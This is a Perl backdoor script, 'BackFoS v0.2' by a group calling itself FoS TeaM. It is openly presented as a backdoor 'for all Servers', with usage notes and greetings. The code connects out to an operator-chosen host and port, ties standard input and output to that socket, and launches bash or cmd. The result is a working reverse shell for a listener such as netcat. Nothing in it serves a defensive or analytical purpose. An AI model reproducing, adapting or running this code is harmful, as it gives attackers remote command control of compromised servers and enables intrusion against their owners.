BackFoS v0.2 [FOS TEAM BACKDOOR]

#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [-----] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  all  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
#     You need have listen nc, cryptcar, putty or other   #
#      program on <PORT> to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# LiƒÂ«ssiiƒÂ«m TiƒÂ¡riƒÂ¡lom, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){ 
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [-----]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}